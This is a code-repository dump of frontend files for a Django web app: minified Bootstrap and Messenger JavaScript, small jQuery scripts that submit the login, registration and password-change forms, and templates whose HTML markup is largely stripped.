a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},b.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof c&&c;e||d.data("bs.popover",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.popover.Constructor=b,a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(window.jQuery),+function(a){"use strict";function b(c,d){var e,f=a.proxy(this.process,this);this.$element=a(c).is("body")?a(window):a(c),this.$body=a("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",f),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||(e=a(c).attr("href"))&&e.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=a([]),this.targets=a([]),this.activeTarget=null,this.refresh(),this.process()}b.DEFAULTS={offset:10},b.prototype.refresh=function(){var b=this.$element[0]==window?"offset":"position";this.offsets=a([]),this.targets=a([]);var c=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data("target")||d.attr("href"),f=/^#\w/.test(e)&&a(e);return f&&f.length&&[[f[b]().top+(!a.isWindow(c.$scrollElement.get(0))&&c.$scrollElement.scrollTop()),e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){c.offsets.push(this[0]),c.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,d=c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(b>=d)return g!=(a=f.last()[0])&&this.activate(a);for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,a(this.selector).parents(".active").removeClass("active");var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate")};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on("load",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(window.jQuery),+function(a){"use strict";var b=function(b){this.element=a(b)};b.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.attr("data-target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a")[0],f=a.Event("show.bs.tab",{relatedTarget:e});if(b.trigger(f),!f.isDefaultPrevented()){var g=a(d);this.activate(b.parent("li"),c),this.activate(g,g.parent(),function(){b.trigger({type:"shown.bs.tab",relatedTarget:e})})}}},b.prototype.activate=function(b,c,d){function e(){f.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),b.addClass("active"),g?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active"),d&&d()}var f=c.find("> .active"),g=d&&a.support.transition&&f.hasClass("fade");g?f.one(a.support.transition.end,e).emulateTransitionEnd(150):e(),f.removeClass("in")};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new b(this)),"string"==typeof c&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(b){b.preventDefault(),a(this).tab("show")})}(window.jQuery),+function(a){"use strict";var b=function(c,d){this.options=a.extend({},b.DEFAULTS,d),this.$window=a(window).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(c),this.affixed=this.unpin=null,this.checkPosition()};b.RESET="affix affix-top affix-bottom",b.DEFAULTS={offset:0},b.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},b.prototype.checkPosition=function(){if(this.$element.is(":visible")){var c=a(document).height(),d=this.$window.scrollTop(),e=this.$element.offset(),f=this.options.offset,g=f.top,h=f.bottom;"object"!=typeof f&&(h=g=f),"function"==typeof g&&(g=f.top()),"function"==typeof h&&(h=f.bottom());var i=null!=this.unpin&&d+this.unpin<=e.top?!1:null!=h&&e.top+this.$element.height()>=c-h?"bottom":null!=g&&g>=d?"top":!1;this.affixed!==i&&(this.unpin&&this.$element.css("top",""),this.affixed=i,this.unpin="bottom"==i?e.top-d:null,this.$element.removeClass(b.RESET).addClass("affix"+(i?"-"+i:"")),"bottom"==i&&this.$element.offset({top:document.body.offsetHeight-h-this.$element.height()}))}};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof c&&c;e||d.data("bs.affix",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(window.jQuery); -------------------------------------------------------------------------------- /static/js/change_password.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function (){ 2 | change_password(); 3 | }) 4 | 5 | function change_password(){ 6 | $("#changepwd_submit").click(function (){ 7 | form = $("form#changepwd_form"); 8 | messenger = Messenger(); 9 | 10 | $.ajax({ 11 | type: form.attr('method'), 12 | url: form.attr('action'), 13 | data: form.serialize(), 14 | success: function (data){ 15 | var response = JSON.parse(data); 16 | if(response.status == "success"){ 17 | messenger.post({ 18 | message: "Success", 19 | type: "success" 20 | }) 21 | window.location.href=response.redirect 22 | } 23 | else if(response.status == "error") 24 | messenger.post({ 25 | message: response.content, 26 | type: "error" 27 | }) 28 | }, 29 | }); 30 | return false; 31 | }) 32 | } 33 | 34 | 35 | -------------------------------------------------------------------------------- /static/js/login.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function (){ 2 | login(); 3 | }) 4 | 5 | function login(){ 6 | $("#login_submit").click(function (){ 7 | form = $("form#login_form"); 8 | messenger = Messenger(); 9 | 10 | $.ajax({ 11 | type: form.attr('method'), 12 | url: form.attr('action'), 13 | data: form.serialize(), 14 | success: function (data){ 15 | var response = JSON.parse(data); 16 | if(response.status == "success"){ 17 | messenger.post({ 18 | message: "Login success", 19 | type: "success" 20 | }) 21 | window.location.href=response.redirect 22 | } 23 | else if(response.status == "error") 24 | messenger.post({ 25 | message: response.content, 26 | type: "error" 27 | }) 28 | }, 29 | }); 30 | return false; 31 | }) 32 | } 33 | 34 | 35 | -------------------------------------------------------------------------------- /static/js/messenger-theme-future.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | var $, FutureMessage, spinner_template, 3 | __hasProp = {}.hasOwnProperty, 4 | __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; 5 | 6 | $ = jQuery; 7 | 8 | spinner_template = '
\n \n \n \n \n \n \n
'; 9 | 10 | FutureMessage = (function(_super) { 11 | 12 | __extends(FutureMessage, _super); 13 | 14 | function FutureMessage() { 15 | return FutureMessage.__super__.constructor.apply(this, arguments); 16 | } 17 | 18 | FutureMessage.prototype.template = function(opts) { 19 | var $message; 20 | $message = FutureMessage.__super__.template.apply(this, arguments); 21 | $message.append($(spinner_template)); 22 | return $message; 23 | }; 24 | 25 | return FutureMessage; 26 | 27 | })(window.Messenger.Message); 28 | 29 | window.Messenger.themes.future = { 30 | Message: FutureMessage 31 | }; 32 | 33 | }).call(this); 34 | -------------------------------------------------------------------------------- /static/js/messenger.min.js: -------------------------------------------------------------------------------- 1 | /*! messenger 1.3.6 */ 2 | (function(){var e,t=window.Messenger;e=window.Messenger=function(){return e._call.apply(this,arguments)},window.Messenger.noConflict=function(){return window.Messenger=t,e}})(),window.Messenger._=function(){if(window._)return window._;var e=Array.prototype,t=Object.prototype,n=Function.prototype,s=(e.push,e.slice),r=(e.concat,t.toString);t.hasOwnProperty;var i=e.forEach,o=(e.map,e.reduce,e.reduceRight,e.filter),a=(e.every,e.some,e.indexOf,e.lastIndexOf,Array.isArray,Object.keys),l=n.bind,u={},c={},h=u.each=u.forEach=function(e,t,n){if(null!=e)if(i&&e.forEach===i)e.forEach(t,n);else if(e.length===+e.length){for(var s=0,r=e.length;r>s;s++)if(t.call(n,e[s],s,e)===c)return}else for(var o in e)if(u.has(e,o)&&t.call(n,e[o],o,e)===c)return};u.result=function(e,t){if(null==e)return null;var n=e[t];return u.isFunction(n)?n.call(e):n},u.once=function(e){var t,n=!1;return function(){return n?t:(n=!0,t=e.apply(this,arguments),e=null,t)}};var p=0;return u.uniqueId=function(e){var t=++p+"";return e?e+t:t},u.filter=u.select=function(e,t,n){var s=[];return null==e?s:o&&e.filter===o?e.filter(t,n):(h(e,function(e,r,i){t.call(n,e,r,i)&&(s[s.length]=e)}),s)},h(["Arguments","Function","String","Number","Date","RegExp"],function(e){u["is"+e]=function(t){return r.call(t)=="[object "+e+"]"}}),u.defaults=function(e){return h(s.call(arguments,1),function(t){if(t)for(var n in t)null==e[n]&&(e[n]=t[n])}),e},u.extend=function(e){return h(s.call(arguments,1),function(t){if(t)for(var n in t)e[n]=t[n]}),e},u.keys=a||function(e){if(e!==Object(e))throw new TypeError("Invalid object");var t=[];for(var n in e)u.has(e,n)&&(t[t.length]=n);return t},u.bind=function(e,t){if(e.bind===l&&l)return l.apply(e,s.call(arguments,1));var n=s.call(arguments,2);return function(){return e.apply(t,n.concat(s.call(arguments)))}},u.isObject=function(e){return e===Object(e)},u}(),window.Messenger.Events=function(){if(window.Backbone&&Backbone.Events)return Backbone.Events;var e=function(){var e=/\s+/,t=function(t,n,s,r){if(!s)return!0;if("object"==typeof s)for(var i in s)t[n].apply(t,[i,s[i]].concat(r));else{if(!e.test(s))return!0;for(var o=s.split(e),a=0,l=o.length;l>a;a++)t[n].apply(t,[o[a]].concat(r))}},n=function(e,t){var n,s=-1,r=e.length;switch(t.length){case 0:for(;r>++s;)(n=e[s]).callback.call(n.ctx);return;case 1:for(;r>++s;)(n=e[s]).callback.call(n.ctx,t[0]);return;case 2:for(;r>++s;)(n=e[s]).callback.call(n.ctx,t[0],t[1]);return;case 3:for(;r>++s;)(n=e[s]).callback.call(n.ctx,t[0],t[1],t[2]);return;default:for(;r>++s;)(n=e[s]).callback.apply(n.ctx,t)}},s={on:function(e,n,s){if(!t(this,"on",e,[n,s])||!n)return this;this._events||(this._events={});var r=this._events[e]||(this._events[e]=[]);return r.push({callback:n,context:s,ctx:s||this}),this},once:function(e,n,s){if(!t(this,"once",e,[n,s])||!n)return this;var r=this,i=_.once(function(){r.off(e,i),n.apply(this,arguments)});return i._callback=n,this.on(e,i,s),this},off:function(e,n,s){var r,i,o,a,l,u,c,h;if(!this._events||!t(this,"off",e,[n,s]))return this;if(!e&&!n&&!s)return this._events={},this;for(a=e?[e]:_.keys(this._events),l=0,u=a.length;u>l;l++)if(e=a[l],r=this._events[e]){if(o=[],n||s)for(c=0,h=r.length;h>c;c++)i=r[c],(n&&n!==i.callback&&n!==i.callback._callback||s&&s!==i.context)&&o.push(i);this._events[e]=o}return this},trigger:function(e){if(!this._events)return this;var s=Array.prototype.slice.call(arguments,1);if(!t(this,"trigger",e,s))return this;var r=this._events[e],i=this._events.all;return r&&n(r,s),i&&n(i,arguments),this},listenTo:function(e,t,n){var s=this._listeners||(this._listeners={}),r=e._listenerId||(e._listenerId=_.uniqueId("l"));return s[r]=e,e.on(t,"object"==typeof t?this:n,this),this},stopListening:function(e,t,n){var s=this._listeners;if(s){if(e)e.off(t,"object"==typeof t?this:n,this),t||n||delete s[e._listenerId];else{"object"==typeof t&&(n=this);for(var r in s)s[r].off(t,n,this);this._listeners={}}return this}}};return s.bind=s.on,s.unbind=s.off,s};return e()}(),function(){var e,t,n,s,r,i,o,a,l,u,c,h={}.hasOwnProperty,p=function(e,t){function n(){this.constructor=e}for(var s in t)h.call(t,s)&&(e[s]=t[s]);return n.prototype=t.prototype,e.prototype=new n,e.__super__=t.prototype,e},d=[].slice,f=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1};e=jQuery,i=null!=(l=window._)?l:window.Messenger._,s=null!=(u="undefined"!=typeof Backbone&&null!==Backbone?Backbone.Events:void 0)?u:window.Messenger.Events,n=function(){function t(t){e.extend(this,s),i.isObject(t)&&(t.el&&this.setElement(t.el),this.model=t.model),this.initialize.apply(this,arguments)}return t.prototype.setElement=function(t){return this.$el=e(t),this.el=this.$el[0]},t.prototype.delegateEvents=function(e){var t,n,s,r,o,a,l;if(e||(e=i.result(this,"events"))){t=/^(\S+)\s*(.*)$/,this.undelegateEvents(),l=[];for(s in e){if(o=e[s],i.isFunction(o)||(o=this[e[s]]),!o)throw Error("Method "+e[s]+" does not exist");r=s.match(t),n=r[1],a=r[2],o=i.bind(o,this),n+=".delegateEvents"+this.cid,""===a?l.push(this.jqon(n,o)):l.push(this.jqon(n,a,o))}return l}},t.prototype.jqon=function(e,t,n){var s;return null!=this.$el.on?(s=this.$el).on.apply(s,arguments):(null==n&&(n=t,t=void 0),null!=t?this.$el.delegate(t,e,n):this.$el.bind(e,n))},t.prototype.jqoff=function(e){var t;return null!=this.$el.off?(t=this.$el).off.apply(t,arguments):(this.$el.undelegate(),this.$el.unbind(e))},t.prototype.undelegateEvents=function(){return this.jqoff(".delegateEvents"+this.cid)},t.prototype.remove=function(){return this.undelegateEvents(),this.$el.remove()},t}(),o=function(t){function n(){return n.__super__.constructor.apply(this,arguments)}return p(n,t),n.prototype.defaults={hideAfter:10,scroll:!0},n.prototype.initialize=function(t){return null==t&&(t={}),this.shown=!1,this.rendered=!1,this.messenger=t.messenger,this.options=e.extend({},this.options,t,this.defaults)},n.prototype.show=function(){var e;return this.rendered||this.render(),this.$message.removeClass("messenger-hidden"),e=this.shown,this.shown=!0,e?void 0:this.trigger("show")},n.prototype.hide=function(){var e;if(this.rendered)return this.$message.addClass("messenger-hidden"),e=this.shown,this.shown=!1,e?this.trigger("hide"):void 0},n.prototype.cancel=function(){return this.hide()},n.prototype.update=function(t){var n,s=this;return i.isString(t)&&(t={message:t}),e.extend(this.options,t),this.lastUpdate=new Date,this.rendered=!1,this.events=null!=(n=this.options.events)?n:{},this.render(),this.actionsToEvents(),this.delegateEvents(),this.checkClickable(),this.options.hideAfter?(this.$message.addClass("messenger-will-hide-after"),null!=this._hideTimeout&&clearTimeout(this._hideTimeout),this._hideTimeout=setTimeout(function(){return s.hide()},1e3*this.options.hideAfter)):this.$message.removeClass("messenger-will-hide-after"),this.options.hideOnNavigate?(this.$message.addClass("messenger-will-hide-on-navigate"),null!=("undefined"!=typeof Backbone&&null!==Backbone?Backbone.history:void 0)&&Backbone.history.on("route",function(){return s.hide()})):this.$message.removeClass("messenger-will-hide-on-navigate"),this.trigger("update",this)},n.prototype.scrollTo=function(){return this.options.scroll?e.scrollTo(this.$el,{duration:400,offset:{left:0,top:-20}}):void 0},n.prototype.timeSinceUpdate=function(){return this.lastUpdate?new Date-this.lastUpdate:null},n.prototype.actionsToEvents=function(){var e,t,n,s,r=this;n=this.options.actions,s=[];for(t in n)e=n[t],s.push(this.events['click [data-action="'+t+'"] a']=function(e){return function(n){return n.preventDefault(),n.stopPropagation(),r.trigger("action:"+t,e,n),e.action.call(r,n,r)}}(e));return s},n.prototype.checkClickable=function(){var e,t,n,s;n=this.events,s=[];for(t in n)e=n[t],"click"===t?s.push(this.$message.addClass("messenger-clickable")):s.push(void 0);return s},n.prototype.undelegateEvents=function(){var e;return n.__super__.undelegateEvents.apply(this,arguments),null!=(e=this.$message)?e.removeClass("messenger-clickable"):void 0},n.prototype.parseActions=function(){var t,n,s,r,i,o;n=[],i=this.options.actions;for(r in i)t=i[r],s=e.extend({},t),s.name=r,null==(o=s.label)&&(s.label=r),n.push(s);return n},n.prototype.template=function(t){var n,s,r,i,o,a,l,u,c,h,p=this;for(o=e("
"),t.showCloseButton&&(r=e(''),r.click(function(){return p.cancel(),!0}),o.append(r)),a=e('
'+t.message+"
"),o.append(a),t.actions.length&&(s=e('
')),h=t.actions,u=0,c=h.length;c>u;u++)l=h[u],n=e(""),n.attr("data-action",""+l.name),i=e(""),i.html(l.label),n.append(e('')),n.append(i),s.append(n);return o.append(s),o},n.prototype.render=function(){var t;if(!this.rendered)return this._hasSlot||(this.setElement(this.messenger._reserveMessageSlot(this)),this._hasSlot=!0),t=e.extend({},this.options,{actions:this.parseActions()}),this.$message=e(this.template(t)),this.$el.html(this.$message),this.shown=!0,this.rendered=!0,this.trigger("render")},n}(n),r=function(e){function t(){return t.__super__.constructor.apply(this,arguments)}return p(t,e),t.prototype.initialize=function(){return t.__super__.initialize.apply(this,arguments),this._timers={}},t.prototype.cancel=function(){return this.clearTimers(),this.hide(),null!=this._actionInstance&&null!=this._actionInstance.abort?this._actionInstance.abort():void 0},t.prototype.clearTimers=function(){var e,t,n,s;n=this._timers;for(e in n)t=n[e],clearTimeout(t);return this._timers={},null!=(s=this.$message)?s.removeClass("messenger-retry-soon messenger-retry-later"):void 0},t.prototype.render=function(){var e,n,s,r;t.__super__.render.apply(this,arguments),this.clearTimers(),s=this.options.actions,r=[];for(n in s)e=s[n],e.auto?r.push(this.startCountdown(n,e)):r.push(void 0);return r},t.prototype.renderPhrase=function(e,t){var n;return n=e.phrase.replace("TIME",this.formatTime(t))},t.prototype.formatTime=function(e){var t;return t=function(e,t){return e=Math.floor(e),1!==e&&(t+="s"),"in "+e+" "+t},0===Math.floor(e)?"now...":60>e?t(e,"second"):(e/=60,60>e?t(e,"minute"):(e/=60,t(e,"hour")))},t.prototype.startCountdown=function(e,t){var n,s,r,i,o=this;if(null==this._timers[e])return n=this.$message.find("[data-action='"+e+"'] .messenger-phrase"),s=null!=(i=t.delay)?i:3,10>=s?(this.$message.removeClass("messenger-retry-later"),this.$message.addClass("messenger-retry-soon")):(this.$message.removeClass("messenger-retry-soon"),this.$message.addClass("messenger-retry-later")),r=function(){var i;return n.text(o.renderPhrase(t,s)),s>0?(i=Math.min(s,1),s-=i,o._timers[e]=setTimeout(r,1e3*i)):(o.$message.removeClass("messenger-retry-soon messenger-retry-later"),delete o._timers[e],t.action())},r()},t}(o),a=function(t){function n(){return n.__super__.constructor.apply(this,arguments)}return p(n,t),n.prototype.tagName="ul",n.prototype.className="messenger",n.prototype.messageDefaults={type:"info"},n.prototype.initialize=function(t){return this.options=null!=t?t:{},this.history=[],this.messageDefaults=e.extend({},this.messageDefaults,this.options.messageDefaults)},n.prototype.render=function(){return this.updateMessageSlotClasses()},n.prototype.findById=function(e){return i.filter(this.history,function(t){return t.msg.options.id===e})},n.prototype._reserveMessageSlot=function(t){var n,s,r=this;for(n=e("
  • "),n.addClass("messenger-message-slot"),this.$el.prepend(n),this.history.push({msg:t,$slot:n}),this._enforceIdConstraint(t),t.on("update",function(){return r._enforceIdConstraint(t)});this.options.maxMessages&&this.history.length>this.options.maxMessages;)s=this.history.shift(),s.msg.remove(),s.$slot.remove();return n},n.prototype._enforceIdConstraint=function(e){var t,n,s,r,i;if(null!=e.options.id)for(i=this.history,n=0,s=i.length;s>n;n++)if(t=i[n],r=t.msg,null!=r.options.id&&r.options.id===e.options.id&&e!==r){if(e.options.singleton)return e.hide(),void 0;r.hide()}},n.prototype.newMessage=function(e){var t,n,s,i,a=this;return null==e&&(e={}),e.messenger=this,o=null!=(n=null!=(s=Messenger.themes[null!=(i=e.theme)?i:this.options.theme])?s.Message:void 0)?n:r,t=new o(e),t.on("show",function(){return e.scrollTo&&"fixed"!==a.$el.css("position")?t.scrollTo():void 0}),t.on("hide show render",this.updateMessageSlotClasses,this),t},n.prototype.updateMessageSlotClasses=function(){var e,t,n,s,r,i,o;for(s=!0,t=null,e=!1,o=this.history,r=0,i=o.length;i>r;r++)n=o[r],n.$slot.removeClass("messenger-first messenger-last messenger-shown"),n.msg.shown&&n.msg.rendered&&(n.$slot.addClass("messenger-shown"),e=!0,t=n,s&&(s=!1,n.$slot.addClass("messenger-first")));return null!=t&&t.$slot.addClass("messenger-last"),this.$el[""+(e?"remove":"add")+"Class"]("messenger-empty")},n.prototype.hideAll=function(){var e,t,n,s,r;for(s=this.history,r=[],t=0,n=s.length;n>t;t++)e=s[t],r.push(e.msg.hide());return r},n.prototype.post=function(t){var n;return i.isString(t)&&(t={message:t}),t=e.extend(!0,{},this.messageDefaults,t),n=this.newMessage(t),n.update(t),n},n}(n),t=function(t){function n(){return n.__super__.constructor.apply(this,arguments)}return p(n,t),n.prototype.doDefaults={progressMessage:null,successMessage:null,errorMessage:"Error connecting to the server.",showSuccessWithoutError:!0,retry:{auto:!0,allow:!0},action:e.ajax},n.prototype.hookBackboneAjax=function(t){var n,s=this;if(null==t&&(t={}),null==window.Backbone)throw"Expected Backbone to be defined";return t=i.defaults(t,{id:"BACKBONE_ACTION",errorMessage:!1,successMessage:"Request completed successfully.",showSuccessWithoutError:!1}),n=function(e){var n;return n=i.extend({},t,e.messenger),s["do"](n,e)},null!=Backbone.ajax?(Backbone.ajax._withoutMessenger&&(Backbone.ajax=Backbone.ajax._withoutMessenger),(null==t.action||t.action===this.doDefaults.action)&&(t.action=Backbone.ajax),n._withoutMessenger=Backbone.ajax,Backbone.ajax=n):Backbone.sync=i.wrap(Backbone.sync,function(){var t,s,r;return r=arguments[0],t=arguments.length>=2?d.call(arguments,1):[],s=e.ajax,e.ajax=n,r.call.apply(r,[this].concat(d.call(t))),e.ajax=s})},n.prototype._getHandlerResponse=function(e){return e===!1?!1:e===!0||null==e?!0:e},n.prototype._parseEvents=function(e){var t,n,s,r,i,o,a;null==e&&(e={}),i={};for(r in e)s=e[r],n=r.indexOf(" "),o=r.substring(0,n),t=r.substring(n+1),null==(a=i[o])&&(i[o]={}),i[o][t]=s;return i},n.prototype._normalizeResponse=function(){var e,t,n,s,r,o,a;for(n=arguments.length>=1?d.call(arguments,0):[],s=null,r=null,e=null,o=0,a=n.length;a>o;o++)t=n[o],"success"===t||"timeout"===t||"abort"===t?s=t:null!=(null!=t?t.readyState:void 0)&&null!=(null!=t?t.responseText:void 0)?r=t:i.isObject(t)&&(e=t);return[s,e,r]},n.prototype.run=function(){var t,n,s,r,o,a,l,u,c,h,p,g,m,v,y,_,w=this;if(l=arguments[0],h=arguments[1],t=arguments.length>=3?d.call(arguments,2):[],null==h&&(h={}),l=e.extend(!0,{},this.messageDefaults,this.doDefaults,null!=l?l:{}),s=this._parseEvents(l.events),r=function(e,t){var n;return n=l[e+"Message"],i.isFunction(n)?n.call(w,e,t):n},u=null!=(y=l.messageInstance)?y:this.newMessage(l),null!=l.id&&(u.options.id=l.id),null!=l.progressMessage&&u.update(e.extend({},l,{message:r("progress",null),type:"info"})),a={},i.each(["error","success"],function(n){var o;return o=h[n],a[n]=function(){var a,c,p,g,m,v,y,_,b,x,M,C,k,$,E;return v=arguments.length>=1?d.call(arguments,0):[],b=w._normalizeResponse.apply(w,v),m=b[0],a=b[1],_=b[2],"success"===n&&null==u.errorCount&&l.showSuccessWithoutError===!1&&(l.successMessage=null),"error"===n&&(null==(x=l.errorCount)&&(l.errorCount=0),l.errorCount+=1),p=l.returnsPromise?v[0]:"function"==typeof o?o.apply(null,v):void 0,y=w._getHandlerResponse(p),i.isString(y)&&(y={message:y}),"error"!==n||0!==(null!=_?_.status:void 0)&&"abort"!==m?"error"===n&&null!=l.ignoredErrorCodes&&(M=null!=_?_.status:void 0,f.call(l.ignoredErrorCodes,M)>=0)?(u.hide(),void 0):(c={message:r(n,_),type:n,events:null!=(C=s[n])?C:{},hideOnNavigate:"success"===n},g=e.extend({},l,c,y),"number"==typeof(null!=(k=g.retry)?k.allow:void 0)&&g.retry.allow--,"error"===n&&(null!=_?_.status:void 0)>=500&&(null!=($=g.retry)?$.allow:void 0)?(null==g.retry.delay&&(g.retry.delay=4>g.errorCount?10:300),g.hideAfter&&(null==(E=g._hideAfter)&&(g._hideAfter=g.hideAfter),g.hideAfter=g._hideAfter+g.retry.delay),g._retryActions=!0,g.actions={retry:{label:"retry now",phrase:"Retrying TIME",auto:g.retry.auto,delay:g.retry.delay,action:function(){return g.messageInstance=u,setTimeout(function(){return w["do"].apply(w,[g,h].concat(d.call(t)))},0)}},cancel:{action:function(){return u.cancel()}}}):g._retryActions&&(delete g.actions.retry,delete g.actions.cancel,delete l._retryActions),u.update(g),y&&g.message?(Messenger(),u.show()):u.hide()):(u.hide(),void 0)}}),!l.returnsPromise)for(g in a)o=a[g],c=h[g],h[g]=o;for(u._actionInstance=l.action.apply(l,[h].concat(d.call(t))),l.returnsPromise&&u._actionInstance.then(a.success,a.error),p=["done","progress","fail","state","then"],m=0,v=p.length;v>m;m++)n=p[m],null!=u[n]&&delete u[n],u[n]=null!=(_=u._actionInstance)?_[n]:void 0;return u},n.prototype["do"]=n.prototype.run,n.prototype.ajax=function(){var t,n;return n=arguments[0],t=arguments.length>=2?d.call(arguments,1):[],n.action=e.ajax,this.run.apply(this,[n].concat(d.call(t)))},n.prototype.expectPromise=function(e,t){return t=i.extend({},t,{action:e,returnsPromise:!0}),this.run(t)},n}(a),e.fn.messenger=function(){var n,s,r,o,l,u,c,h;return r=arguments[0],s=arguments.length>=2?d.call(arguments,1):[],null==r&&(r={}),n=this,null!=r&&i.isString(r)?(h=n.data("messenger"))[r].apply(h,s):(l=r,null==n.data("messenger")&&(a=null!=(u=null!=(c=Messenger.themes[l.theme])?c.Messenger:void 0)?u:t,n.data("messenger",o=new a(e.extend({el:n},l))),o.render()),n.data("messenger"))},window.Messenger._call=function(t){var n,s,r,i,o,a,l,u,c,h,p;if(a={extraClasses:"messenger-fixed messenger-on-bottom messenger-on-right",theme:"future",maxMessages:9,parentLocations:["body"]},t=e.extend(a,e._messengerDefaults,Messenger.options,t),null!=t.theme&&(t.extraClasses+=" messenger-theme-"+t.theme),l=t.instance||Messenger.instance,null==t.instance){for(c=t.parentLocations,s=null,r=null,h=0,p=c.length;p>h;h++)if(u=c[h],s=e(u),s.length){i=u;break}l?e(l._location)!==e(i)&&(l.$el.detach(),s.prepend(l.$el)):(n=e("
      "),s.prepend(n),l=n.messenger(t),l._location=i,Messenger.instance=l)}return null!=l._addedClasses&&l.$el.removeClass(l._addedClasses),l.$el.addClass(o=""+l.className+" "+t.extraClasses),l._addedClasses=o,l},e.extend(Messenger,{Message:r,Messenger:t,themes:null!=(c=Messenger.themes)?c:{}}),e.globalMessenger=window.Messenger=Messenger}.call(this); -------------------------------------------------------------------------------- /static/js/register.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function (){ 2 | register(); 3 | }) 4 | 5 | function register(){ 6 | $("#register_submit").click(function (){ 7 | form = $("form#register_form"); 8 | messenger = Messenger(); 9 | 10 | $.ajax({ 11 | type: form.attr('method'), 12 | url: form.attr('action'), 13 | data: form.serialize(), 14 | success: function (data){ 15 | var response = JSON.parse(data); 16 | if(response.status == "success"){ 17 | messenger.post({ 18 | message: "Register success", 19 | type: "success" 20 | }) 21 | window.location.href=response.redirect 22 | 23 | } 24 | else if(response.status == "error") 25 | messenger.post({ 26 | message: response.content, 27 | type: "error" 28 | }) 29 | }, 30 | }); 31 | return false; 32 | }) 33 | } 34 | 35 | 36 | -------------------------------------------------------------------------------- /templates/_nav_bar.html: -------------------------------------------------------------------------------- 1 | 2 | 37 | 38 | -------------------------------------------------------------------------------- /templates/account/_login_form.html: -------------------------------------------------------------------------------- 1 | 2 |
      3 | 4 | {% csrf_token %} 5 |
      6 | 7 | 8 |
      9 |
      10 | 11 | 12 |
      13 | 14 | 15 | Register 16 |
      17 | 18 | -------------------------------------------------------------------------------- /templates/account/_register_form.html: -------------------------------------------------------------------------------- 1 | 2 |
      3 | 4 | {% csrf_token %} 5 |
      6 | 7 | 8 |
      9 |
      10 | 11 | 12 |
      13 |
      14 | 15 | 16 |
      17 |
      18 | 19 | 20 |
      21 | 22 | Login 23 |
      24 | -------------------------------------------------------------------------------- /templates/account/change_password.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}Change Password{% endblock %} 3 | {% block cssblock %} 4 | 5 | 6 | {% endblock %} 7 | {% block javascriptblock %} 8 | 9 | 14 | 15 | {% endblock %} 16 | 17 | {% block body %} 18 | 19 | {% include "_nav_bar.html" %} 20 |
      21 | 22 |
      23 |
      24 | {% csrf_token %} 25 |
      26 | 27 | 28 |
      29 |
      30 | 31 | 32 |
      33 |
      34 | 35 | 36 |
      37 |
      38 | 39 | 40 |
      41 | 42 | Login 43 |
      44 |
      45 |
